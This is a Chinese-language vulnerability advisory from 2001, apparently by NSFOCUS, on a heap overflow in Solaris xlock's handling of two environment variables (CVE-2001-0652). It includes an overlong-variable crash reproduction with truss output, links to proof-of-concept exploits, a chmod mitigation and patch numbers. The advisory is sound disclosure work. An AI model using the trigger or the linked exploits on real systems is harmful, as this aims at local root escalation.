首页 -> 安全研究

安全研究

安全漏洞
Solaris Xlock Heap缓冲区溢出漏洞

发布日期:2001-08-16
更新日期:2001-08-16

受影响系统:
Sun Solaris 2.6 (SPARC/x86)
Sun Solaris 7   (SPARC/x86)
Sun Solaris 8   (SPARC/x86)
描述:
BUGTRAQ  ID: 3160
CVE(CAN) ID: CVE-2001-0652

NSFOCUS安全小组发现Solaris系统所带的xlock程序在处理某些环境变量时存在Heap缓冲
区溢出漏洞,攻击者可能获取本地root权限。

xlock是Solaris OpenView所带的一个工具,用来锁定屏幕。它缺省设置了suid root
属性,由于在处理某些环境变量时没有进行有效的边界检查,攻击者可以覆盖heap区的
动态内存边界,小心地构造溢出数据攻击者可以以root权限执行任意代码。

问题出在两个环境变量上:"XFILESEARCHPATH"和"XUSERFILESEARCHPATH".
xlock调用malloc()为其分配1024字节的内存,并将环境变量的内容保存在这些动态内存
中。然而,在进行拷贝的时候,xlock没有检查环境变量的长度,如果将这两个环境变量
的内容设置为超过1024字节长的字符串,就可能发生heap溢出。相邻的动态内存块边界数
据结构会被覆盖,在下一次调用malloc()时,将会导致段访问错误。如果小心地构造溢出
数据,就可能利用malloc()/free()实现的一些特性来重写任意内存地址,例如保存的返
回地址、函数指针等等。

成功地利用这个漏洞,攻击者可以获取本地root权限。

<*来源:NSFOCUS Security Team (security@nsfocus.com)
        中联绿盟安全公告(SA2001-05):http://www.nsfocus.com/sa01-05.htm
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

bash-2.03$ uname -a
SunOS sun88 5.8 Generic sun4u sparc SUNW,Ultra-5_10
bash-2.03$ cp /usr/openwin/bin/xlock /tmp/xlock
bash-2.03$ export XFILESEARCHPATH=`perl -e 'print "A"x1028'`
bash-2.03$ /tmp/xlock
Segmentation Fault
bash-2.03$ truss -u libc:malloc,free /tmp/xlock
<...snip...>
<- libc:malloc() = 0x1135d0
-> libc:malloc(0x400, 0xffbefa8d, 0xffffffff, 0x1b648)
<- libc:malloc() = 0x1139d0
open("AAAAAAA...AAAAAAAAAAAAAAA", O_RDONLY) Err#78 ENAMETOOLONG
-> libc:free(0x1139d0, 0x0, 0xff31c000, 0x1b648)
<- libc:free() = 0
-> libc:malloc(0x400, 0x12, 0x0, 0x10ed49)
<- libc:malloc() = 0x1139d0
open("/export/home/test/XLock", O_RDONLY)         Err#2 ENOENT
-> libc:free(0x1139d0, 0x0, 0xff31c000, 0x7efefeff)
<- libc:free() = 0
-> libc:malloc(0x3, 0x3073b, 0xffffffff, 0x3a300000)
<- libc:malloc() = 0x1135e0
    Incurred fault #6, FLTBOUNDS  %pc = 0xFF0C0F4C
      siginfo: SIGSEGV SEGV_MAPERR addr=0x41527F18
    Received signal #11, SIGSEGV [default]
      siginfo: SIGSEGV SEGV_MAPERR addr=0x41527F18
        *** process killed ***

NSFOCUS Security Team也提供了两个演示程序:
http://www.nsfocus.com/proof/sol_sparc_xlockex.c
http://www.nsfocus.com/proof/sol_x86_xlockex.c

建议:
临时解决方法:

暂时去掉xlock的suid root属性:
# chmod a-s /usr/openwin/bin/xlock

厂商状态:

Sun准备为此漏洞发布的补丁:

                SPARC           x86
                ---------       ---------
  Solaris 8     108652-38       108653-33
  Solaris 7     108376-30       108377-26
  Solaris 2.6   105633-60       106248-45

您可以在下述网址获得Sun的所有安全补丁

http://sunsolve.sun.com/securitypatch

浏览次数:4019
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障